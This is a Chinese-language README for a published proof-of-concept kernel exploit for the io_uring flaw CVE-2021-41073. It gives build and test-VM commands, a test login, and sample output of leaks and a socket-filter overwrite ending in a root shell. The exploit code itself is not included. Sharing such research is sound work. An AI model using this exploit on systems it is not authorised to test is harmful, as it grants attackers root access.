针对 CVE-2021-41073 io_uring 类型混淆漏洞的 LPE 漏洞利用程序。
查看相关技术文章 Put an io_uring on it: Exploiting the Linux Kernel。
作者:@chompie1337
仅供教育/研究目的使用。不得用于测试或安全评估。
构建(需要 liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
我提供了一个 测试虚拟机,其中包含 5.15-rc1 内核,用于测试/运行该漏洞利用程序。
启动虚拟机,解压 test_vm 压缩包 并运行:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
以非特权用户身份通过 ssh 登录系统:
ssh -p 10021 hi@localhost
密码:lol
运行:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
有时需要尝试 3-4 次才能完成整个漏洞利用流程。每次尝试后需重启虚拟机。未来可以进一步改进此漏洞利用程序,相关技术已在文章中提供。发布此 PoC 的唯一目的是与其他研究人员以及希望学习高级内核漏洞利用的人分享知识。
此漏洞利用程序是博客文章中讨论技术的概念验证,可在默认配置下实现对 Linux 内核 5.15-rc-1 的本地权限提升。我的目的并非定制并武器化该漏洞利用程序以适用于所有受影响的 Linux 版本。我提供代码是为了演示所讨论的大部分技术,并在随附的博客文章中创建和记录了绕过某些发行版可能启用的各种缓解措施所需的技术。
提供的测试虚拟机中使用的内核配置位于 test_vm 文件夹中,如果您想使用自定义构建的内核。如果您想贡献代码,欢迎提交拉取请求 :)
本研究由 Grapl 赞助。